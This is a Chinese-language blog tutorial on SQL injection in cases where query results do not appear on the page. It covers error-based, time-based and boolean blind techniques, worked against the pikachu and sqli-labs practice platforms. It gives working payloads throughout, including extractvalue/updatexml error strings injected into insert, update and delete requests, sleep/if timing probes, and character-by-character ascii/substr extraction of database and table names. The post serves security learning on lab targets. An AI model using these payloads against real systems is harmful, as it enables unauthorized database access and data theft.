第16天:WEB漏洞-SQL注入之查询方式及报错盲注

文章介绍了SQL注入时遇到无回显情况的处理方法,包括基于布尔的、时间的和报错的SQL盲注技术。详细讲解了如何利用报错函数如updatexml和extractvalue进行报错回显注入,以及如何通过延时函数sleep和if进行时间盲注。此外,还提到了regexp,like,ascii等逻辑判断在布尔盲注中的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

一、常见的几种SQL查询方式

select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id

insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url, text) values (2, 'x','$t')

delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id 

update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username= 'admin'

order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id, name, price from news order by $order

重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式

pikachu漏洞练习平台
SQL语句盲注及分类

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

  • 基于布尔的SQL盲注-逻辑判断
    regexp, like, ascii, left, ord, mid
  • 基于时间的SQL盲注-延时判断
    if, sleep
  • 基于报错的SQL盲注-报错回显
    floor, updatexml,extractvalue

注:在burpsuite注入时,使用 + 号替换空格

二、基于报错的SQL盲注-报错回显

常用的报错函数

updatexml()MYSQL对xml文档数据进行查询和修改的XPATH函数
updatexml(xml_document,XPathstring,new_value)表名,路径(路径错误会报错),替换的值
extractvalue()MYSQL对xml文档数据进行查询XPATH函数
extractvalue(xml_document,XPathstring)表名,路径(路径错误会报错)
floor()MYSQL中用来取整的函数

参考地址:
https://www.jianshu.com/p/bc35f8dd4f7c
https://developer.aliyun.com/article/692723

1.insert语句

填写注册信息提交
在这里插入图片描述

使用bp抓包,并进行注入

'or+extractvalue(1,concat(0x7e,user(),0x7e))+or'

username=111+'or+extractvalue(1,concat(0x7e,user(),0x7e))+or'&password=111&sex=1121&phonenum=11&email=11&add=11&submit=submit

在这里插入图片描述

'or+updatexml(1,concat(0x7e,user(),0x7e),1)+or'

username=111+'or+updatexml(1,concat(0x7e,user(),0x7e),1)+or'&password=111&sex=1121&phonenum=11&email=11&add=11&submit=submit

在这里插入图片描述

2.updata语句

修改信息信息提交
在这里插入图片描述
使用bp抓包,并进行注入
'or+updatexml(1,concat(0x7e,user(),0x7e),1)+or'

sex=1+'or+updatexml(1,concat(0x7e,user(),0x7e),1)+or'&phonenum=1&add=1&email=1&submit=submit

在这里插入图片描述

其余报错函数和insert使用类似

3.delete语句

修改信息信息提交
在这里插入图片描述
使用bp抓包,并进行注入
or+updatexml+(1,concat(0x7e,user()),0)

id=56+or+updatexml+(1,concat(0x7e,user()),0)

在这里插入图片描述

其余报错函数和insert使用类似

floor()函数的使用
url?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a--+

注:此为注入字段为3的示例

在这里插入图片描述

三、基于时间的SQL盲注-延时判断

1. sleep 函数

MySQL中sleep(duration) 函数将当前查询暂停(睡眠)指定的秒数。
参数 duration 必需以秒为单位的睡眠时长。它应该大于或等于 0,并且可以带有小数部分。
注:在实际渗透过程中由于网络的影响,时间注入的延时很难判断,所以不推荐使用

在这里插入图片描述

2. if 函数

语法 if(condition,T,F)

  • 参数:
    condition:需要判断的条件,可以是一个数据,也可以是一条语句。
    T:当condition为 true 时的返回值。
    F:当condition为 false 时的返回值。

在这里插入图片描述

3.多个函数组合使用

常用的函数
参考地址:http://www.manongjc.com/detail/29-vgkitsmkdvtmpad.html

函数作用
like ‘ro%’判断ro或ro…是否成立
regexp ‘^xiaodi [a-z]’匹配xiaodi及xiaodi…等
sleep (5)sQL语句延时执行s秒
mid (a, b, c)从位置b开始,截取a字符串的c位
substr( a,b, c)从b位置开始,截取字符串a的c长度
left (database(),1)left(a,b)从左侧截取a的前b位
length(database ())=8判断数据库database ()名的长度
ascii(x)=97(ord=ascii)判断x的ascii码是否等于97

like和regexp函数使用方法:https://www.jb51.net/article/180533.htm

if + sleep 的是使用
select sleep(if(database()='a',0,3))id,username,pw from member where id=1;

语句意义:如果当前数据库是 a 就立即输出select语句的查询结果,如果不是 a ,就延迟3秒输出select语句的查询结果

在这里插入图片描述

if + sleep + mid 的是使用
select sleep(if(mid(database(),1,1)='p',5,0)),mid(database(),1,1);

语句意义:如果当前数据库的第一个字段是 p就延迟3秒输出select语句的查询结果 ,如果不是 p ,就立即输出select语句的查询结果

在这里插入图片描述

if + sleep + length 的是使用
select sleep(if(length(database())=7,5,0)),length(database());

语句意义:如果当前数据库长度为 7,就延迟5秒输出select语句的查询结果 ,如果不为7 ,就立即输出select语句的查询结果

在这里插入图片描述

三、基于布尔的SQL盲注-逻辑判断

regexp, like, ascii=ord, left, mid

sqlilabs less-5
  • regexp
?id=1' and substring(database(),1,1) regexp '^s'--+

语句意义:判断数据库名是否以 se开头 ,回显正常,说明数据库名以 se开头

在这里插入图片描述

  • like
?id=1' and database() like 'se%'--+

语句意义:判断数据库名是否以 se开头 ,回显正常,说明数据库名以 se开头

在这里插入图片描述

  • ascii=ord
?id=1' and ascii(substr((select database()),1,1))>111--+

语句意义:判断数据库名的第一个字符ascii值是否大于111 ,s的ascII值为115,所以回显正常

在这里插入图片描述

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=101--+

语句意义:判断数据库的第一个表名的第一位字符ascii值是否为101 ,第一个表为emails,e的ascII值为101,所以回显正常

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值